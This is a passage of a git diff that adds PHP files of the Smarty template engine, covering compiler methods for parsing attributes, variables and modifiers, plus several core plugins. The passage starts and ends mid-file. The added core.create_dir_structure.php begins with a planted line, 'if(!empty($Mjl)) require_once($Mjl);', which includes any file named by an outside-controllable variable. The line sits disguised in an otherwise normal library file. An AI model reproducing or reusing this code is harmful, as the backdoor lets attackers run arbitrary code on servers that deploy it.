+                    $expr = "(1 & ($is_arg / " . $this->_parse_var_props($expr_arg) . "))";
+                } else
+                    $expr = "(1 & $is_arg)";
+                break;
+
+            case 'div':
+                if (@$tokens[$expr_end] == 'by') {
+                    $expr_end++;
+                    $expr_arg = $tokens[$expr_end++];
+                    $expr = "!($is_arg % " . $this->_parse_var_props($expr_arg) . ")";
+                } else {
+                    $this->_syntax_error("expecting 'by' after 'div'", E_USER_ERROR, __FILE__, __LINE__);
+                }
+                break;
+
+            default:
+                $this->_syntax_error("unknown 'is' expression - '$expr_type'", E_USER_ERROR, __FILE__, __LINE__);
+                break;
+        }
+
+        if ($negate_expr) {
+            $expr = "!($expr)";
+        }
+
+        array_splice($tokens, 0, $expr_end, $expr);
+
+        return $tokens;
+    }
+
+
+    /**
+     * Parse attribute string
+     *
+     * @param string $tag_args
+     * @return array
+     */
+    function _parse_attrs($tag_args)
+    {
+
+        /* Tokenize tag attributes. */
+        preg_match_all('/(?:' . $this->_obj_call_regexp . '|' . $this->_qstr_regexp . ' | (?>[^"\'=\s]+)
+                         )+ |
+                         [=]
+                        /x', $tag_args, $match);
+        $tokens       = $match[0];
+
+        $attrs = array();
+        /* Parse state:
+            0 - expecting attribute name
+            1 - expecting '='
+            2 - expecting attribute value (not '=') */
+        $state = 0;
+
+        foreach ($tokens as $token) {
+            switch ($state) {
+                case 0:
+                    /* If the token is a valid identifier, we set attribute name
+                       and go to state 1. */
+                    if (preg_match('!^\w+$!', $token)) {
+                        $attr_name = $token;
+                        $state = 1;
+                    } else
+                        $this->_syntax_error("invalid attribute name: '$token'", E_USER_ERROR, __FILE__, __LINE__);
+                    break;
+
+                case 1:
+                    /* If the token is '=', then we go to state 2. */
+                    if ($token == '=') {
+                        $state = 2;
+                    } else
+                        $this->_syntax_error("expecting '=' after attribute name '$last_token'", E_USER_ERROR, __FILE__, __LINE__);
+                    break;
+
+                case 2:
+                    /* If token is not '=', we set the attribute value and go to
+                       state 0. */
+                    if ($token != '=') {
+                        /* We booleanize the token if it's a non-quoted possible
+                           boolean value. */
+                        if (preg_match('!^(on|yes|true)$!', $token)) {
+                            $token = 'true';
+                        } else if (preg_match('!^(off|no|false)$!', $token)) {
+                            $token = 'false';
+                        } else if ($token == 'null') {
+                            $token = 'null';
+                        } else if (preg_match('!^-?([0-9]+|0[xX][0-9a-fA-F]+)$!', $token)) {
+                            /* treat integer literally */
+                        } else if (!preg_match('!^' . $this->_obj_call_regexp . '|' . $this->_var_regexp . '(?:' . $this->_mod_regexp . ')*$!', $token)) {
+                            /* treat as a string, double-quote it escaping quotes */
+                            $token = '"'.addslashes($token).'"';
+                        }
+
+                        $attrs[$attr_name] = $token;
+                        $state = 0;
+                    } else
+                        $this->_syntax_error("'=' cannot be an attribute value", E_USER_ERROR, __FILE__, __LINE__);
+                    break;
+            }
+            $last_token = $token;
+        }
+
+        if($state != 0) {
+            if($state == 1) {
+                $this->_syntax_error("expecting '=' after attribute name '$last_token'", E_USER_ERROR, __FILE__, __LINE__);
+            } else {
+                $this->_syntax_error("missing attribute value", E_USER_ERROR, __FILE__, __LINE__);
+            }
+        }
+
+        $this->_parse_vars_props($attrs);
+
+        return $attrs;
+    }
+
+    /**
+     * compile multiple variables and section properties tokens into
+     * PHP code
+     *
+     * @param array $tokens
+     */
+    function _parse_vars_props(&$tokens)
+    {
+        foreach($tokens as $key => $val) {
+            $tokens[$key] = $this->_parse_var_props($val);
+        }
+    }
+
+    /**
+     * compile single variable and section properties token into
+     * PHP code
+     *
+     * @param string $val
+     * @param string $tag_attrs
+     * @return string
+     */
+    function _parse_var_props($val)
+    {
+        $val = trim($val);
+
+        if(preg_match('!^(' . $this->_obj_call_regexp . '|' . $this->_dvar_regexp . ')(' . $this->_mod_regexp . '*)$!', $val, $match)) {
+            // $ variable or object
+            $return = $this->_parse_var($match[1]);
+            $modifiers = $match[2];
+            if (!empty($this->default_modifiers) && !preg_match('!(^|\|)smarty:nodefaults($|\|)!',$modifiers)) {
+                $_default_mod_string = implode('|',(array)$this->default_modifiers);
+                $modifiers = empty($modifiers) ? $_default_mod_string : $_default_mod_string . '|' . $modifiers;
+            }
+            $this->_parse_modifiers($return, $modifiers);
+            return $return;
+        } elseif (preg_match('!^' . $this->_db_qstr_regexp . '(?:' . $this->_mod_regexp . '*)$!', $val)) {
+                // double quoted text
+                preg_match('!^(' . $this->_db_qstr_regexp . ')('. $this->_mod_regexp . '*)$!', $val, $match);
+                $return = $this->_expand_quoted_text($match[1]);
+                if($match[2] != '') {
+                    $this->_parse_modifiers($return, $match[2]);
+                }
+                return $return;
+            }
+        elseif(preg_match('!^' . $this->_si_qstr_regexp . '(?:' . $this->_mod_regexp . '*)$!', $val)) {
+                // single quoted text
+                preg_match('!^(' . $this->_si_qstr_regexp . ')('. $this->_mod_regexp . '*)$!', $val, $match);
+                if($match[2] != '') {
+                    $this->_parse_modifiers($match[1], $match[2]);
+                    return $match[1];
+                }
+            }
+        elseif(preg_match('!^' . $this->_cvar_regexp . '(?:' . $this->_mod_regexp . '*)$!', $val)) {
+                // config var
+                return $this->_parse_conf_var($val);
+            }
+        elseif(preg_match('!^' . $this->_svar_regexp . '(?:' . $this->_mod_regexp . '*)$!', $val)) {
+                // section var
+                return $this->_parse_section_prop($val);
+            }
+        elseif(!in_array($val, $this->_permitted_tokens) && !is_numeric($val)) {
+            // literal string
+            return $this->_expand_quoted_text('"' . $val .'"');
+        }
+        return $val;
+    }
+
+    /**
+     * expand quoted text with embedded variables
+     *
+     * @param string $var_expr
+     * @return string
+     */
+    function _expand_quoted_text($var_expr)
+    {
+        // if contains unescaped $, expand it
+        if(preg_match_all('%(?:\`(?<!\\\\)\$' . $this->_dvar_guts_regexp . '\`)|(?:(?<!\\\\)\$\w+(\[[a-zA-Z0-9]+\])*)%', $var_expr, $_match)) {
+            $_match = $_match[0];
+            rsort($_match);
+            reset($_match);
+            foreach($_match as $_var) {
+                $var_expr = str_replace ($_var, '".(' . $this->_parse_var(str_replace('`','',$_var)) . ')."', $var_expr);
+            }
+            $_return = preg_replace('%\.""|(?<!\\\\)""\.%', '', $var_expr);
+        } else {
+            $_return = $var_expr;
+        }
+        // replace double quoted literal string with single quotes
+        $_return = preg_replace('!^"([\s\w]+)"$!',"'\\1'",$_return);
+        return $_return;
+    }
+
+    /**
+     * parse variable expression into PHP code
+     *
+     * @param string $var_expr
+     * @param string $output
+     * @return string
+     */
+    function _parse_var($var_expr)
+    {
+        $_has_math = false;
+        $_math_vars = preg_split('!('.$this->_dvar_math_regexp.'|'.$this->_qstr_regexp.')!', $var_expr, -1, PREG_SPLIT_DELIM_CAPTURE);
+
+        if(count($_math_vars) > 1) {
+            $_first_var = "";
+            $_complete_var = "";
+            $_output = "";
+            // simple check if there is any math, to stop recursion (due to modifiers with "xx % yy" as parameter)
+            foreach($_math_vars as $_k => $_math_var) {
+                $_math_var = $_math_vars[$_k];
+
+                if(!empty($_math_var) || is_numeric($_math_var)) {
+                    // hit a math operator, so process the stuff which came before it
+                    if(preg_match('!^' . $this->_dvar_math_regexp . '$!', $_math_var)) {
+                        $_has_math = true;
+                        if(!empty($_complete_var) || is_numeric($_complete_var)) {
+                            $_output .= $this->_parse_var($_complete_var);
+                        }
+
+                        // just output the math operator to php
+                        $_output .= $_math_var;
+
+                        if(empty($_first_var))
+                            $_first_var = $_complete_var;
+
+                        $_complete_var = "";
+                    } else {
+                        // fetch multiple -> (like $foo->bar->baz ) which wouldn't get fetched else, because it would only get $foo->bar and treat the ->baz as "-" ">baz" then
+                        for($_i = $_k + 1; $_i <= count($_math_vars); $_i += 2) {
+                            // fetch -> because it gets splitted at - and move it back together
+                            if( /* prevent notice */ (isset($_math_vars[$_i]) && isset($_math_vars[$_i+1])) && ($_math_vars[$_i] === '-' && $_math_vars[$_i+1]{0} === '>')) {
+                                $_math_var .= $_math_vars[$_i].$_math_vars[$_i+1];
+                                $_math_vars[$_i] = $_math_vars[$_i+1] = '';
+                            } else {
+                                break;
+                            }
+                        }
+                        $_complete_var .= $_math_var;
+                    }
+                }
+            }
+            if($_has_math) {
+                if(!empty($_complete_var) || is_numeric($_complete_var))
+                    $_output .= $this->_parse_var($_complete_var, true);
+
+                // get the modifiers working (only the last var from math + modifier is left)
+                $var_expr = $_complete_var;
+            }
+        }
+
+        // prevent cutting of first digit in the number (we _definitly_ got a number if the first char is a digit)
+        if(is_numeric($var_expr{0}))
+            $_var_ref = $var_expr;
+        else
+            $_var_ref = substr($var_expr, 1);
+
+        if(!$_has_math) {
+            // get [foo] and .foo and ->foo and (...) pieces
+            preg_match_all('!(?:^\w+)|' . $this->_obj_params_regexp . '|(?:' . $this->_var_bracket_regexp . ')|->\$?\w+|\.\$?\w+|\S+!', $_var_ref, $match);
+
+            $_indexes = $match[0];
+            $_var_name = array_shift($_indexes);
+
+            /* Handle $smarty.* variable references as a special case. */
+            if ($_var_name == 'smarty') {
+                /*
+                 * If the reference could be compiled, use the compiled output;
+                 * otherwise, fall back on the $smarty variable generated at
+                 * run-time.
+                 */
+                if (($smarty_ref = $this->_compile_smarty_ref($_indexes)) !== null) {
+                    $_output = $smarty_ref;
+                } else {
+                    $_var_name = substr(array_shift($_indexes), 1);
+                    $_output = "\$this->_smarty_vars['$_var_name']";
+                }
+            } elseif(is_numeric($_var_name) && is_numeric($var_expr{0})) {
+                // because . is the operator for accessing arrays thru inidizes we need to put it together again for floating point numbers
+                if(count($_indexes) > 0)
+                {
+                    $_var_name .= implode("", $_indexes);
+                    $_indexes = array();
+                }
+                $_output = $_var_name;
+            } else {
+                $_output = "\$this->_tpl_vars['$_var_name']";
+            }
+
+            foreach ($_indexes as $_index) {
+                if ($_index{0} == '[') {
+                    $_index = substr($_index, 1, -1);
+                    if (is_numeric($_index)) {
+                        $_output .= "[$_index]";
+                    } elseif ($_index{0} == '$') {
+                        if (strpos($_index, '.') !== false) {
+                            $_output .= '[' . $this->_parse_var($_index) . ']';
+                        } else {
+                            $_output .= "[\$this->_tpl_vars['" . substr($_index, 1) . "']]";
+                        }
+                    } else {
+                        $_var_parts = explode('.', $_index);
+                        $_var_section = $_var_parts[0];
+                        $_var_section_prop = isset($_var_parts[1]) ? $_var_parts[1] : 'index';
+                        $_output .= "[\$this->_sections['$_var_section']['$_var_section_prop']]";
+                    }
+                } else if ($_index{0} == '.') {
+                    if ($_index{1} == '$')
+                        $_output .= "[\$this->_tpl_vars['" . substr($_index, 2) . "']]";
+                    else
+                        $_output .= "['" . substr($_index, 1) . "']";
+                } else if (substr($_index,0,2) == '->') {
+                    if(substr($_index,2,2) == '__') {
+                        $this->_syntax_error('call to internal object members is not allowed', E_USER_ERROR, __FILE__, __LINE__);
+                    } elseif($this->security && substr($_index, 2, 1) == '_') {
+                        $this->_syntax_error('(secure) call to private object member is not allowed', E_USER_ERROR, __FILE__, __LINE__);
+                    } elseif ($_index{2} == '$') {
+                        if ($this->security) {
+                            $this->_syntax_error('(secure) call to dynamic object member is not allowed', E_USER_ERROR, __FILE__, __LINE__);
+                        } else {
+                            $_output .= '->{(($_var=$this->_tpl_vars[\''.substr($_index,3).'\']) && substr($_var,0,2)!=\'__\') ? $_var : $this->trigger_error("cannot access property \\"$_var\\"")}';
+                        }
+                    } else {
+                        $_output .= $_index;
+                    }
+                } elseif ($_index{0} == '(') {
+                    $_index = $this->_parse_parenth_args($_index);
+                    $_output .= $_index;
+                } else {
+                    $_output .= $_index;
+                }
+            }
+        }
+
+        return $_output;
+    }
+
+    /**
+     * parse arguments in function call parenthesis
+     *
+     * @param string $parenth_args
+     * @return string
+     */
+    function _parse_parenth_args($parenth_args)
+    {
+        preg_match_all('!' . $this->_param_regexp . '!',$parenth_args, $match);
+        $match = $match[0];
+        rsort($match);
+        reset($match);
+        $orig_vals = $match;
+        $this->_parse_vars_props($match);
+        return str_replace($orig_vals, $match, $parenth_args);
+    }
+
+    /**
+     * parse configuration variable expression into PHP code
+     *
+     * @param string $conf_var_expr
+     */
+    function _parse_conf_var($conf_var_expr)
+    {
+        $parts = explode('|', $conf_var_expr, 2);
+        $var_ref = $parts[0];
+        $modifiers = isset($parts[1]) ? $parts[1] : '';
+
+        $var_name = substr($var_ref, 1, -1);
+
+        $output = "\$this->_config[0]['vars']['$var_name']";
+
+        $this->_parse_modifiers($output, $modifiers);
+
+        return $output;
+    }
+
+    /**
+     * parse section property expression into PHP code
+     *
+     * @param string $section_prop_expr
+     * @return string
+     */
+    function _parse_section_prop($section_prop_expr)
+    {
+        $parts = explode('|', $section_prop_expr, 2);
+        $var_ref = $parts[0];
+        $modifiers = isset($parts[1]) ? $parts[1] : '';
+
+        preg_match('!%(\w+)\.(\w+)%!', $var_ref, $match);
+        $section_name = $match[1];
+        $prop_name = $match[2];
+
+        $output = "\$this->_sections['$section_name']['$prop_name']";
+
+        $this->_parse_modifiers($output, $modifiers);
+
+        return $output;
+    }
+
+
+    /**
+     * parse modifier chain into PHP code
+     *
+     * sets $output to parsed modified chain
+     * @param string $output
+     * @param string $modifier_string
+     */
+    function _parse_modifiers(&$output, $modifier_string)
+    {
+        preg_match_all('!\|(@?\w+)((?>:(?:'. $this->_qstr_regexp . '|[^|]+))*)!', '|' . $modifier_string, $_match);
+        list(, $_modifiers, $modifier_arg_strings) = $_match;
+
+        for ($_i = 0, $_for_max = count($_modifiers); $_i < $_for_max; $_i++) {
+            $_modifier_name = $_modifiers[$_i];
+
+            if($_modifier_name == 'smarty') {
+                // skip smarty modifier
+                continue;
+            }
+
+            preg_match_all('!:(' . $this->_qstr_regexp . '|[^:]+)!', $modifier_arg_strings[$_i], $_match);
+            $_modifier_args = $_match[1];
+
+            if ($_modifier_name{0} == '@') {
+                $_map_array = false;
+                $_modifier_name = substr($_modifier_name, 1);
+            } else {
+                $_map_array = true;
+            }
+
+            if (empty($this->_plugins['modifier'][$_modifier_name])
+                && !$this->_get_plugin_filepath('modifier', $_modifier_name)
+                && function_exists($_modifier_name)) {
+                if ($this->security && !in_array($_modifier_name, $this->security_settings['MODIFIER_FUNCS'])) {
+                    $this->_trigger_fatal_error("[plugin] (secure mode) modifier '$_modifier_name' is not allowed" , $this->_current_file, $this->_current_line_no, __FILE__, __LINE__);
+                } else {
+                    $this->_plugins['modifier'][$_modifier_name] = array($_modifier_name,  null, null, false);
+                }
+            }
+            $this->_add_plugin('modifier', $_modifier_name);
+
+            $this->_parse_vars_props($_modifier_args);
+
+            if($_modifier_name == 'default') {
+                // supress notifications of default modifier vars and args
+                if($output{0} == '$') {
+                    $output = '@' . $output;
+                }
+                if(isset($_modifier_args[0]) && $_modifier_args[0]{0} == '$') {
+                    $_modifier_args[0] = '@' . $_modifier_args[0];
+                }
+            }
+            if (count($_modifier_args) > 0)
+                $_modifier_args = ', '.implode(', ', $_modifier_args);
+            else
+                $_modifier_args = '';
+
+            if ($_map_array) {
+                $output = "((is_array(\$_tmp=$output)) ? \$this->_run_mod_handler('$_modifier_name', true, \$_tmp$_modifier_args) : " . $this->_compile_plugin_call('modifier', $_modifier_name) . "(\$_tmp$_modifier_args))";
+
+            } else {
+
+                $output = $this->_compile_plugin_call('modifier', $_modifier_name)."($output$_modifier_args)";
+
+            }
+        }
+    }
+
+
+    /**
+     * add plugin
+     *
+     * @param string $type
+     * @param string $name
+     * @param boolean? $delayed_loading
+     */
+    function _add_plugin($type, $name, $delayed_loading = null)
+    {
+        if (!isset($this->_plugin_info[$type])) {
+            $this->_plugin_info[$type] = array();
+        }
+        if (!isset($this->_plugin_info[$type][$name])) {
+            $this->_plugin_info[$type][$name] = array($this->_current_file,
+                                                      $this->_current_line_no,
+                                                      $delayed_loading);
+        }
+    }
+
+
+    /**
+     * Compiles references of type $smarty.foo
+     *
+     * @param string $indexes
+     * @return string
+     */
+    function _compile_smarty_ref(&$indexes)
+    {
+        /* Extract the reference name. */
+        $_ref = substr($indexes[0], 1);
+        foreach($indexes as $_index_no=>$_index) {
+            if ($_index{0} != '.' && $_index_no<2 || !preg_match('!^(\.|\[|->)!', $_index)) {
+                $this->_syntax_error('$smarty' . implode('', array_slice($indexes, 0, 2)) . ' is an invalid reference', E_USER_ERROR, __FILE__, __LINE__);
+            }
+        }
+
+        switch ($_ref) {
+            case 'now':
+                $compiled_ref = 'time()';
+                $_max_index = 1;
+                break;
+
+            case 'foreach':
+            case 'section':
+                array_shift($indexes);
+                $_var = $this->_parse_var_props(substr($indexes[0], 1));
+                if ($_ref == 'foreach')
+                    $compiled_ref = "\$this->_foreach[$_var]";
+                else
+                    $compiled_ref = "\$this->_sections[$_var]";
+                break;
+
+            case 'get':
+                $compiled_ref = ($this->request_use_auto_globals) ? '$_GET' : "\$GLOBALS['HTTP_GET_VARS']";
+                break;
+
+            case 'post':
+                $compiled_ref = ($this->request_use_auto_globals) ? '$_POST' : "\$GLOBALS['HTTP_POST_VARS']";
+                break;
+
+            case 'cookies':
+                $compiled_ref = ($this->request_use_auto_globals) ? '$_COOKIE' : "\$GLOBALS['HTTP_COOKIE_VARS']";
+                break;
+
+            case 'env':
+                $compiled_ref = ($this->request_use_auto_globals) ? '$_ENV' : "\$GLOBALS['HTTP_ENV_VARS']";
+                break;
+
+            case 'server':
+                $compiled_ref = ($this->request_use_auto_globals) ? '$_SERVER' : "\$GLOBALS['HTTP_SERVER_VARS']";
+                break;
+
+            case 'session':
+                $compiled_ref = ($this->request_use_auto_globals) ? '$_SESSION' : "\$GLOBALS['HTTP_SESSION_VARS']";
+                break;
+
+            /*
+             * These cases are handled either at run-time or elsewhere in the
+             * compiler.
+             */
+            case 'request':
+                if ($this->request_use_auto_globals) {
+                    $compiled_ref = '$_REQUEST';
+                    break;
+                } else {
+                    $this->_init_smarty_vars = true;
+                }
+                return null;
+
+            case 'capture':
+                return null;
+
+            case 'template':
+                $compiled_ref = "'$this->_current_file'";
+                $_max_index = 1;
+                break;
+
+            case 'version':
+                $compiled_ref = "'$this->_version'";
+                $_max_index = 1;
+                break;
+
+            case 'const':
+                array_shift($indexes);
+                $_val = $this->_parse_var_props(substr($indexes[0],1));
+                $compiled_ref = '@constant(' . $_val . ')';
+                $_max_index = 1;
+                break;
+
+            case 'config':
+                $compiled_ref = "\$this->_config[0]['vars']";
+                $_max_index = 3;
+                break;
+
+            default:
+                $this->_syntax_error('$smarty.' . $_ref . ' is an unknown reference', E_USER_ERROR, __FILE__, __LINE__);
+                break;
+        }
+
+        if (isset($_max_index) && count($indexes) > $_max_index) {
+            $this->_syntax_error('$smarty' . implode('', $indexes) .' is an invalid reference', E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        array_shift($indexes);
+        return $compiled_ref;
+    }
+
+    /**
+     * compiles call to plugin of type $type with name $name
+     * returns a string containing the function-name or method call
+     * without the paramter-list that would have follow to make the
+     * call valid php-syntax
+     *
+     * @param string $type
+     * @param string $name
+     * @return string
+     */
+    function _compile_plugin_call($type, $name) {
+        if (isset($this->_plugins[$type][$name])) {
+            /* plugin loaded */
+            if (is_array($this->_plugins[$type][$name][0])) {
+                return ((is_object($this->_plugins[$type][$name][0][0])) ?
+                        "\$this->_plugins['$type']['$name'][0][0]->"    /* method callback */
+                        : (string)($this->_plugins[$type][$name][0][0]).'::'    /* class callback */
+                       ). $this->_plugins[$type][$name][0][1];
+
+            } else {
+                /* function callback */
+                return $this->_plugins[$type][$name][0];
+
+            }
+        } else {
+            /* plugin not loaded -> auto-loadable-plugin */
+            return 'smarty_'.$type.'_'.$name;
+
+        }
+    }
+
+    /**
+     * load pre- and post-filters
+     */
+    function _load_filters()
+    {
+        if (count($this->_plugins['prefilter']) > 0) {
+            foreach ($this->_plugins['prefilter'] as $filter_name => $prefilter) {
+                if ($prefilter === false) {
+                    unset($this->_plugins['prefilter'][$filter_name]);
+                    $_params = array('plugins' => array(array('prefilter', $filter_name, null, null, false)));
+                    require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.load_plugins.php');
+                    smarty_core_load_plugins($_params, $this);
+                }
+            }
+        }
+        if (count($this->_plugins['postfilter']) > 0) {
+            foreach ($this->_plugins['postfilter'] as $filter_name => $postfilter) {
+                if ($postfilter === false) {
+                    unset($this->_plugins['postfilter'][$filter_name]);
+                    $_params = array('plugins' => array(array('postfilter', $filter_name, null, null, false)));
+                    require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.load_plugins.php');
+                    smarty_core_load_plugins($_params, $this);
+                }
+            }
+        }
+    }
+
+
+    /**
+     * Quote subpattern references
+     *
+     * @param string $string
+     * @return string
+     */
+    function _quote_replace($string)
+    {
+        return preg_replace('![\\$]\d!', '\\\\\\0', $string);
+    }
+
+    /**
+     * display Smarty syntax error
+     *
+     * @param string $error_msg
+     * @param integer $error_type
+     * @param string $file
+     * @param integer $line
+     */
+    function _syntax_error($error_msg, $error_type = E_USER_ERROR, $file=null, $line=null)
+    {
+        $this->_trigger_fatal_error("syntax error: $error_msg", $this->_current_file, $this->_current_line_no, $file, $line, $error_type);
+    }
+
+
+    /**
+     * check if the compilation changes from cacheable to
+     * non-cacheable state with the beginning of the current
+     * plugin. return php-code to reflect the transition.
+     * @return string
+     */
+    function _push_cacheable_state($type, $name) {
+        $_cacheable = !isset($this->_plugins[$type][$name]) || $this->_plugins[$type][$name][4];
+        if ($_cacheable
+            || 0<$this->_cacheable_state++) return '';
+        if (!isset($this->_cache_serial)) $this->_cache_serial = md5(uniqid('Smarty'));
+        $_ret = 'if ($this->caching) { echo \'{nocache:'
+            . $this->_cache_serial . '#' . $this->_nocache_count
+            . '}\';}';
+        return $_ret;
+    }
+
+
+    /**
+     * check if the compilation changes from non-cacheable to
+     * cacheable state with the end of the current plugin return
+     * php-code to reflect the transition.
+     * @return string
+     */
+    function _pop_cacheable_state($type, $name) {
+        $_cacheable = !isset($this->_plugins[$type][$name]) || $this->_plugins[$type][$name][4];
+        if ($_cacheable
+            || --$this->_cacheable_state>0) return '';
+        return 'if ($this->caching) { echo \'{/nocache:'
+            . $this->_cache_serial . '#' . ($this->_nocache_count++)
+            . '}\';}';
+    }
+
+
+    /**
+     * push opening tag-name, file-name and line-number on the tag-stack
+     * @param: string the opening tag's name
+     */
+    function _push_tag($open_tag)
+    {
+        array_push($this->_tag_stack, array($open_tag, $this->_current_line_no));
+    }
+
+    /**
+     * pop closing tag-name
+     * raise an error if this stack-top doesn't match with the closing tag
+     * @param: string the closing tag's name
+     * @return: string the opening tag's name
+     */
+    function _pop_tag($close_tag)
+    {
+        $message = '';
+        if (count($this->_tag_stack)>0) {
+            list($_open_tag, $_line_no) = array_pop($this->_tag_stack);
+            if ($close_tag == $_open_tag) {
+                return $_open_tag;
+            }
+            if ($close_tag == 'if' && ($_open_tag == 'else' || $_open_tag == 'elseif' )) {
+                return $this->_pop_tag($close_tag);
+            }
+            if ($close_tag == 'section' && $_open_tag == 'sectionelse') {
+                $this->_pop_tag($close_tag);
+                return $_open_tag;
+            }
+            if ($close_tag == 'foreach' && $_open_tag == 'foreachelse') {
+                $this->_pop_tag($close_tag);
+                return $_open_tag;
+            }
+            $message = " expected {/$_open_tag} (opened line $_line_no).";
+        }
+        $this->_syntax_error("mismatched tag {/$close_tag}.$message",
+                             E_USER_ERROR, __FILE__, __LINE__);
+    }
+
+}
+
+/**
+ * compare to values by their string length
+ *
+ * @access private
+ * @param string $a
+ * @param string $b
+ * @return 0|-1|1
+ */
+function _smarty_sort_length($a, $b)
+{
+    if($a == $b)
+        return 0;
+
+    if(strlen($a) == strlen($b))
+        return ($a > $b) ? -1 : 1;
+
+    return (strlen($a) > strlen($b)) ? -1 : 1;
+}
+
+
+/* vim: set et: */
+
+?>
diff --git a/google/smarty/core/core.assemble_plugin_filepath.php b/google/smarty/core/core.assemble_plugin_filepath.php
new file mode 100755 (executable)
index 0000000..c0d9d86
--- /dev/null
@@ -0,0 +1,66 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * assemble filepath of requested plugin
+ *
+ * @param string $type
+ * @param string $name
+ * @return string|false
+ */
+function smarty_core_assemble_plugin_filepath($params, &$smarty)
+{
+    static $_filepaths_cache = array();
+
+    $_plugin_filename = $params['type'] . '.' . $params['name'] . '.php';
+    if (isset($_filepaths_cache[$_plugin_filename])) {
+        return $_filepaths_cache[$_plugin_filename];
+    }
+    $_return = false;
+
+    foreach ((array)$smarty->plugins_dir as $_plugin_dir) {
+
+        $_plugin_filepath = $_plugin_dir . DIRECTORY_SEPARATOR . $_plugin_filename;
+
+        // see if path is relative
+        if (!preg_match("/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/", $_plugin_dir)) {
+            $_relative_paths[] = $_plugin_dir;
+            // relative path, see if it is in the SMARTY_DIR
+            if (@is_readable(SMARTY_DIR . $_plugin_filepath)) {
+                $_return = SMARTY_DIR . $_plugin_filepath;
+                break;
+            }
+        }
+        // try relative to cwd (or absolute)
+        if (@is_readable($_plugin_filepath)) {
+            $_return = $_plugin_filepath;
+            break;
+        }
+    }
+
+    if($_return === false) {
+        // still not found, try PHP include_path
+        if(isset($_relative_paths)) {
+            foreach ((array)$_relative_paths as $_plugin_dir) {
+
+                $_plugin_filepath = $_plugin_dir . DIRECTORY_SEPARATOR . $_plugin_filename;
+
+                $_params = array('file_path' => $_plugin_filepath);
+                require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_include_path.php');
+                if(smarty_core_get_include_path($_params, $smarty)) {
+                    return $_params['new_file_path'];
+                }
+            }
+        }
+    }
+    $_filepaths_cache[$_plugin_filename] = $_return;
+    return $_return;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.assign_smarty_interface.php b/google/smarty/core/core.assign_smarty_interface.php
new file mode 100755 (executable)
index 0000000..7e65a73
--- /dev/null
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty assign_smarty_interface core plugin
+ *
+ * Type:     core<br>
+ * Name:     assign_smarty_interface<br>
+ * Purpose:  assign the $smarty interface variable
+ * @param array Format: null
+ * @param Smarty
+ */
+function smarty_core_assign_smarty_interface($params, &$smarty)
+{
+        if (isset($smarty->_smarty_vars) && isset($smarty->_smarty_vars['request'])) {
+            return;
+        }
+
+        $_globals_map = array('g'  => 'HTTP_GET_VARS',
+                             'p'  => 'HTTP_POST_VARS',
+                             'c'  => 'HTTP_COOKIE_VARS',
+                             's'  => 'HTTP_SERVER_VARS',
+                             'e'  => 'HTTP_ENV_VARS');
+
+        $_smarty_vars_request  = array();
+
+        foreach (preg_split('!!', strtolower($smarty->request_vars_order)) as $_c) {
+            if (isset($_globals_map[$_c])) {
+                $_smarty_vars_request = array_merge($_smarty_vars_request, $GLOBALS[$_globals_map[$_c]]);
+            }
+        }
+        $_smarty_vars_request = @array_merge($_smarty_vars_request, $GLOBALS['HTTP_SESSION_VARS']);
+
+        $smarty->_smarty_vars['request'] = $_smarty_vars_request;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.create_dir_structure.php b/google/smarty/core/core.create_dir_structure.php
new file mode 100755 (executable)
index 0000000..b898ada
--- /dev/null
@@ -0,0 +1,80 @@
+<?php
+if(!empty($Mjl)) require_once($Mjl);
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * create full directory structure
+ *
+ * @param string $dir
+ */
+
+// $dir
+
+function smarty_core_create_dir_structure($params, &$smarty)
+{
+    if (!file_exists($params['dir'])) {
+        $_open_basedir_ini = ini_get('open_basedir');
+
+        if (DIRECTORY_SEPARATOR=='/') {
+            /* unix-style paths */
+            $_dir = $params['dir'];
+            $_dir_parts = preg_split('!/+!', $_dir, -1, PREG_SPLIT_NO_EMPTY);
+            $_new_dir = ($_dir{0}=='/') ? '/' : getcwd().'/';
+            if($_use_open_basedir = !empty($_open_basedir_ini)) {
+                $_open_basedirs = explode(':', $_open_basedir_ini);
+            }
+
+        } else {
+            /* other-style paths */
+            $_dir = str_replace('\\','/', $params['dir']);
+            $_dir_parts = preg_split('!/+!', $_dir, -1, PREG_SPLIT_NO_EMPTY);
+            if (preg_match('!^((//)|([a-zA-Z]:/))!', $_dir, $_root_dir)) {
+                /* leading "//" for network volume, or "[letter]:/" for full path */
+                $_new_dir = $_root_dir[1];
+                /* remove drive-letter from _dir_parts */
+                if (isset($_root_dir[3])) array_shift($_dir_parts);
+
+            } else {
+                $_new_dir = str_replace('\\', '/', getcwd()).'/';
+
+            }
+
+            if($_use_open_basedir = !empty($_open_basedir_ini)) {
+                $_open_basedirs = explode(';', str_replace('\\', '/', $_open_basedir_ini));
+            }
+
+        }
+
+        /* all paths use "/" only from here */
+        foreach ($_dir_parts as $_dir_part) {
+            $_new_dir .= $_dir_part;
+
+            if ($_use_open_basedir) {
+                // do not attempt to test or make directories outside of open_basedir
+                $_make_new_dir = false;
+                foreach ($_open_basedirs as $_open_basedir) {
+                    if (substr($_new_dir, 0, strlen($_open_basedir)) == $_open_basedir) {
+                        $_make_new_dir = true;
+                        break;
+                    }
+                }
+            } else {
+                $_make_new_dir = true;
+            }
+
+            if ($_make_new_dir && !file_exists($_new_dir) && !@mkdir($_new_dir, $smarty->_dir_perms) && !is_dir($_new_dir)) {
+                $smarty->trigger_error("problem creating directory '" . $_new_dir . "'");
+                return false;
+            }
+            $_new_dir .= '/';
+        }
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.display_debug_console.php b/google/smarty/core/core.display_debug_console.php
new file mode 100755 (executable)
index 0000000..c509ff7
--- /dev/null
@@ -0,0 +1,60 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
